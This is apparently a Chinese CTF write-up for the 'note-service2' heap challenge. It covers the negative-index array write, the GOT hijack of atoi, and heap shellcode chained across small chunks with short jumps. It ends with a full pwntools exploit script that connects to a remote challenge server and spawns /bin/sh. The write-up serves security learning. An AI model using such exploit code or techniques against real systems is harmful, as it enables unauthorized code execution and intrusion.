Loading... <!-- wp:paragraph --> <p>这道题是一个在堆上的shellcode,也是第一次接触。也让我明白了还是要先checksec一下,刚开始做到时候没有检查不知道NX关了,一直想不通该怎么利用,知道看来别人的WP才知道NX没开,可以直接上shellcode。</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":756,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201207143910.png" alt="" class="wp-image-756"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>核心的漏洞函数就是在这里,显然这里存在一个数组越界,虽然做了index大于零的判断,但是好笑的是这是在对数组修改完之后才做的,于是我们可以通过输入一个负数来实现对.bss段前的任意可写地址处的修改,这里我们就可以想到hijack got了。比如我们可以修改atoi的got表,让它来执行shellcode。</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":761,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201207153130.png" alt="" class="wp-image-761"style=""></figure></div> <!-- /wp:image --> <!-- wp:image {"align":"center","id":762,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201207153139.png" alt="" class="wp-image-762"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>这里可以看出数组的下标应该是-0x40/8=-8</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>然后我们在看一下这个读入函数,一路点到底,是这样的</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":757,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201207144330.png" alt="" class="wp-image-757"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>这里可以看到最多可以读a2-1个字节,第a2一个字节会被自动置为'\x00',也就是说我们最多可以向每个note里写7个字节的content,这样肯定是不够布置shellcode的,那么我们就只能把多个堆空间接起来用了。虽然由于我们对content的分配是连续的,每个chunk都是连续的,但是chunk与chunk中的payload却不是连续的,然后还有内存对齐的问题,所以只能通过jmp来连接shellcode,那么每次应该jmp多少呢。</p> <!-- /wp:paragraph --> <!-- wp:table --> <figure class="wp-block-table"><table><tbody><tr><td>prevsize</td><td>8byte</td></tr><tr><td>size</td><td>8byte</td></tr><tr><td>payload</td><td>8byte</td></tr><tr><td>memory align</td><td>8byte</td></tr></tbody></table><figcaption>上一个chunk</figcaption></figure> <!-- /wp:table --> <!-- wp:table --> <figure class="wp-block-table"><table><tbody><tr><td>prevsize</td><td>8byte</td></tr><tr><td>size</td><td>8byte</td></tr><tr><td>payload</td><td>8byte</td></tr><tr><td>memory align</td><td>8byte</td></tr></tbody></table><figcaption>下一个chunk</figcaption></figure> <!-- /wp:table --> <!-- wp:paragraph --> <p>由于每一个chunk要进行内存对齐,其总大小(payload+overhead的大小)要为2*SIZE_SZ(SIZE_SZ在32位中为4byte,在64位中为8byte)的整数倍,所以每个chunk中会有8个字节的内存对齐区。由此我们可以算出从这个paylaod的头(shellcode的起始地址)到上一个payload的尾部的地址差为8+8+8=24,又由于每一个payload的最后一位一定是'\x00',所以若<code>jmp short nbyte</code>在payload的尾部(\x00前),在jmp时rip指向payload的第七字节,所以jmp的相对长度是24+1=25字节,因此<code>jmp short 0x19</code>就是我们应该布置在payload尾部的shellcode(为了防止重复计算,我们应该用空指令来填充每个payload中的shellcode,让jmp指令在payload的尾部,这样jmp的长度就一直是25了)。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>那么这样我们就可以着手写exp了,当然,atoi是一直要用的,所以我们必须在最后修改atoi的got表。修改时got表将会指向某个chunk的payload,并在执行atoi时会直接执行这个payload中的shellcode。这里我们有两个思路,一是直接布置一个jmp,跳到第一个chunk的payload上,二是通过程序提供的delet功能来删除我们申请的第一个chunk,然后再申请下标为-8的note的时候再部署一次shellcode,由fastbin的特性,got会指向原来的第一个chunk,这种方法不需要重复计算了,我这里选择这种方法</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>from pwn import * context(log_level = 'debug',os = 'linux',arch = 'amd64') #sh = process("./note-service2") sh = remote("220.249.52.133","49146") sh.sendlineafter(">> ","1") sh.sendlineafter("index:","0") sh.sendlineafter("size:","8") sh.sendafter("content:",(asm("xor rax,rax") + '\x90\x90' + '\xeb' + '\x19').ljust(7,'\x00')) sh.sendlineafter(">> ","1") sh.sendlineafter("index:","1") sh.sendlineafter("size:","8") sh.sendafter("content:",(asm("mov eax,0x3b") + '\xeb' + '\x19').ljust(7,'\x00')) sh.sendlineafter(">> ","1") sh.sendlineafter("index:","2") sh.sendlineafter("size:","8") sh.sendafter("content:",(asm("xor rsi,rsi") + '\x90\x90' + '\xeb' + '\x19').ljust(7,'\x00')) sh.sendlineafter(">> ","1") sh.sendlineafter("index:","3") sh.sendlineafter("size:","8") sh.sendafter("content:",(asm("xor rdx,rdx") + '\x90\x90' + '\xeb' + '\x19').ljust(7,'\x00')) sh.sendlineafter(">> ","1") sh.sendlineafter("index:","4") sh.sendlineafter("size:","8") sh.sendafter("content:",(asm("syscall")).ljust(7,'\x00')) sh.sendlineafter(">> ","4") sh.sendlineafter("index:","0") sh.sendlineafter(">> ","1") sh.sendlineafter("index:","-8") sh.sendlineafter("size:","8") sh.sendafter("content:",(asm("xor rax,rax") + '\x90\x90' + '\xeb' + '\x19').ljust(7,'\x00')) sh.sendlineafter(">> ","/bin/sh\x00") sh.interactive() </code></pre> <!-- /wp:code --> 最后修改:2021 年 01 月 02 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧